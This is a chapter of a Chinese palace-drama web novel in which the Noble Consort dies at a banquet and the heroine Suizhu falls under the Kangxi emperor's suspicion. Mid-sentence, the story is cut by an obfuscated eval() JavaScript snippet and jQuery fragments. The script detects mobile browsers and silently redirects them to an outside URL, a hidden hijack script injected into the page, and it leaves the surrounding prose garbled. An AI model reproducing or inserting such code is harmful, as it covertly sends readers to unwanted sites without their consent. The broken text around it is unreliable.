是贵妃身边的卉心,她“啊”的一声尖叫打破了原本热闹的气氛。
皇上和太后一桌,就在贵妃那桌的不远处。
皇上听到声音立刻走过来,穗珠几人被挡在外头,她只听见皇上狠厉的声音。
“梁九功立刻去叫太医过来。”
“是!”
梁九功帽子都还没戴好,一路飞快往外奔去。
宫里禁止快跑,看他煞白着脸狂奔的样子,贵妃可能很不好了。
太医来得很快,太后刚被送回去,太医就被拽了进来。
正殿里头只有皇上、已经昏过去的贵妃、她身边的大宫女卉心和茗心,还有就是太医。
就连宜嫔和郭络罗氏也被勒令守在门外。
小阿哥和格格们也都被送回宫去,穗珠站久了,脚又痛又肿,这里也没人敢端椅子来,她只好靠着柱子缓解一下。
还不到申时,正是热的时候,正殿的两扇大门关的紧紧的,不大一会儿,就有人撑不住了。
但是谁也不敢去敲门,更不敢散开来。
穗珠悄悄数了下,贵人及以上嫔位娘娘,连同钮祜禄氏,这会儿十来个人都围在这里,大多热得脸上的妆都花了。
“宜嫔姐姐,叫人把那些冰鉴搬来行不行?”穗珠出了个主意,她这脑后、后背、胸口都冒着汗。
这才五月底的天儿,怎么就这样的热呢?
宜嫔悄悄摇了摇头,朝她使了个眼色,看那宫门外带刀的侍卫,她不敢乱动。
再说那冰鉴怕是已经化成水了,叫穗珠别折腾了。
末了还加了一句,“去年地震也是这样热呢。”两人说罢对视了一眼。
有没有地震还不知道,但是穗珠知道皇上震怒了。
因为,贵妃死了。
穗珠知道这事儿的时候,正站在皇上跟前。
不过她这会儿刚从翊坤宫后西配殿的榻上醒过来,睁开眼睛一眼便看到麦芽正背对着自己站在盆架前洗面帕,秋月在床头给自己打扇子。
“主子,您可终于醒了,把奴才们给吓了一跳。”空旷的屋里响起秋月惊喜的声音。
麦芽立刻转过头,手上的水都来不及甩就小跑过来,“主子,您醒啦?”说着她擦干手上的水份,手背贴着穗珠的额头探了探。
“你这哪里能摸出来什么?我没事了。”穗珠浅浅一笑,把她的手拂开,说着便要坐起来。
麦芽有些不放心,“主子,太医说您今儿有些中暑又累着了,要多休息。”
穗珠动了动脚,这才感觉到双腿有些绵软无力,她苦笑一声,“这也是平日不锻炼,就忙了这一会儿就晕了。”
“主子,不只是您呢,好多贵人、嫔娘娘都晕了,您还坚持到最后了。”
麦芽说罢又把冰鉴移了移,穗珠这才问起来发生了何事。
麦芽叹了口气,她们也不知道具体发生了什么,她们和自家主子不同,贵妃一出事她们就都被带到翊坤宫外,被带刀侍卫团团围住。
大概过了两刻钟的样子,就看见梁公公扯着太医来了。
结果不一会儿梁公公的两个徒弟又火急火燎的出去了,然后太医院又来了一大群人呼啦啦地跑进翊坤宫。
再后来,她们又被押进来照顾各自主子。
“李福他们呢?”
“不知道呢,奴才在门口没看见他们,太监和宫女不一样,看着该也是被关在这翊坤宫某处吧。”
这可难办了,想要知道些消息就不好打听了,看着时辰,该是申时过了。
四周都安安静静的,这翊坤宫后东配殿里不是还住着两位常在么,穗珠脑子里生出一个念头,“这能打开门么?”
“主子,您瞧瞧,门口有人守着呢。”
三人坐在一起,沉默了片刻,时间一点一点过去,穗珠这心头越发不安。
外头的天色也渐渐沉了下来,眼看着就要下雨了,她问麦芽,“今日和贵妃坐一桌的是谁?”
“是永寿宫妃娘娘,”
“只有她一人?”
麦芽和秋月点点头,听见主子这样说,两人面色也有些凝重。
她们确定,是因为刚入席时确实只看见了永寿宫妃娘娘和贵妃娘娘两人一桌。
再说其他嫔位娘娘的也并不够,而宜嫔和郭络罗贵人,虽是六格格的姨母和生母,但是也按照座次入席的。
“永寿宫妃娘娘和贵妃娘娘坐在左手下首。”麦芽想了一下又加了一句。
意思就是能看到两人动作的就只有皇上、太后还有斜对着两人的右手下首了。
右手下首是她、惠嫔还有荣嫔。
宜嫔这位置安排的,该不该说动了一番心思的,惠嫔看不惯德嫔,她也和安嫔形同陌路。
“她们是怎么坐的?”
“两位娘娘都面朝着皇上贵妃靠左,永寿宫妃娘娘靠右。”
说到这里,穗珠想破脑袋也不知道贵妃到底是出了何事。
但是为何太医院里的太医都过来了呢?
最要紧的是贵妃到底怎么了?
“不过主子,”麦芽不知想到了什么,脸色越来越难看,她压低了声音,用仅三人能听到的声音说,“永寿宫妃娘娘身边的那位莺姑看着倒是有些奇怪。”
穗珠回想了一下,是勉强能称得上清秀的一位姑姑,听说是钮祜禄氏从家里带来的,当时因为这事,麦苗还说嘴了两句。
“怎么个奇怪?”
“当时主子你们都围在前头看六格格抓周时,那莺姑站在桌子旁边给永寿宫妃娘娘移动椅子。”
穗珠今日帮着翊坤宫迎客,身边跟着的麦芽和秋月自然也帮着做事。
麦芽那时和秋月正站在棚子外帮着给角落里的冰鉴打扇子,她转头看主子时,恰好看见莺姑的动作。
“那太师椅她能抬得动?”不是说女子抬不动那太师椅,只是得使出好大一番力气才行。
“是呀,奴才也觉得奇怪,那莺姑看着抬了两下便放弃了,但是奴才看见她的手好像动了下桌上的酒杯。”麦芽边说边回忆。
主子们还没用席时,那些个酒杯、筷子是一起放在餐盒里的,需要时会有特定宫人一一验看过才会被使用。
莺姑像是打了个障眼法悄悄动了酒杯,因为这就发生在一息之间,麦芽还有些怀疑自己是不是看花眼了。
“她怎么动的看见了吗?”
“这个没有,奴才又侧对着她,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567195|204800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只看见她的袖子动了动。”麦芽说得非常谨慎。
穗珠双眉蹙紧,虽说大家都有些摩擦,但是也没有到你死我活的地步。
可是看今天这样子,若是麦芽句句属实,穗珠当机立断,一把掀开毯子,“这事到此为止,快给我重新梳妆。”
果然,三人刚收拾好,门外就传来了敲门声。
“进来。”
“戴佳嫔娘娘,皇上有请。”是谨言,她不是在乾清宫当值吗?怎么来了翊坤宫?
看她抿嘴嘴唇,往日和熙的脸上如今却面无表情,穗珠也不好打听,她咽下肚子里的疑问,“走吧。”
一路上从后殿到正殿,整个翊坤宫都充满了一种静止的气氛,好像空气都凝结了一般。
前头是谨言带着两个宫人,后头跟着那两个带刀侍卫,将穗珠三人团团围在里侧,穿过通道,来到翊坤宫正殿前。
几人站在原地,只穗珠一人被请了进去。
里头很安静,翊坤宫面阔五间,穗珠一步步顺着味儿踏进最里侧的内室。
她没有心思来欣赏宜嫔屋内的装饰摆设,因为她看到那躺在架子床上的女人仍穿着那件绯色的宫装,只是脚上的鞋子不见了,正安静地躺在那里。
她的脸颊、嘴唇呈现出一种不正常的绀色,眉头微微蹙起,双手放在腹部上蜷缩着。
床边的凳子上放着脸盆,上头搭着几只面帕,水面飘着一些难闻的白色残物。
穗珠脑子里一片空白,她感觉自己的魂魄和身体已经分开,魂魄飘在空中,身体还站在那里,耳边听见自己颤抖的声音,“贵妃是怎么了?”
“死了。”
“怎么,就死了?”
康熙掀起眼皮终于看了过来,他声音嘶哑,嘴唇微翘,似有嘲讽之意,“有人看见你身边的宫女换了汤勺。”
“不可能。”穗珠的魂魄终于还是回到了身体里,她冷静下来,迎着皇上的目光,语气加重又道:“不可能,是谁说的?”
康熙没有再看她,他坐在床边,握着贵妃已经变僵硬的手,语气冷漠到无情,和刚才进翊坤宫时完全不一样。
“你先回启祥宫吧,待这件事查清了,再出来。”
他不信她。
穗珠张张嘴,但是喉咙却发不出来声音。
她双手握拳,呼吸急促,指甲紧紧插进肉里,深吸了一口气,“所以皇上已经认定了是奴才叫人干的?”
康熙终于偏过头来看她,只一两个时辰不见,他就变了样。
胸口上尽是污渍,袖口、领口上满是褶子,脸色变得憔悴,嘴唇变得干燥苍白,双眼充满血丝,眉头紧缩。
而他也变得冷酷无情,变得阴鸷决绝。
他绷着一张脸,眼神冷冽,浑身上下散发出一股冰冷的气息,看着是那样的陌生,让人无法靠近。
穗珠看着两人握着的手,缓缓吐出心头一直想说的话,“所以皇上是特意让奴才过来的?”
特意让她过来看看贵妃死了的样子?
是在惩罚她还是想让她因为贵妃的模样而心生愧疚,从而认罪呢?
殿里只有宜嫔的自鸣钟发出的走针声,终于,“叮咚叮”的声音打破这里的寂静。